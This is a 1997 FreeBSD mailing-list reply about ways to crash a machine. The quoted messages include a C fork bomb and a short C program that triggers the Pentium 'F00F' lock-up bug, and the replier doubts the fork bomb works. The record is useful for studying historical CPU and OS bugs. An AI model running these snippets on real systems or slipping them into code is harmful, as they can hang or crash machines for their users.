Date: Mon, 10 Nov 1997 08:45:54 -0500 (EST) From: Thomas David Rivers <rivers@dignus.com> To: freebsd-questions@freebsd.org, sporkl@dti.net Subject: Re: Crashing FreeBSD Message-ID: <199711101345.IAA10117@lakes.dignus.com>
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> > Well, there are other ways too. > > 1. Toggle power really fast > 2. write a "forkbomb": > #include <stdio.h> > > main() { > > for(;;) {fork();} > } > > I am sure there are other ways. I'm pretty sure a 'forkbomb' will not crash FreeBSD. Did you try it :-) - Dave Rivers - > > > > > -Spike Gronim > sporkl@dti.net > > "Tradition is the chastity belt of the mind" > > > > On Sun, 9 Nov 1997, Michael Richards wrote: > > > Well folks, it looks like anyone can crash a FreeBSD box. I am told that > > this is a bug in the pentium processor. Compile and run, it will crash the > > machine right away... > > > > Very simple: > > > > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > > > main () { > > void (*f)() = x; > > f(); > > } > > > > > >
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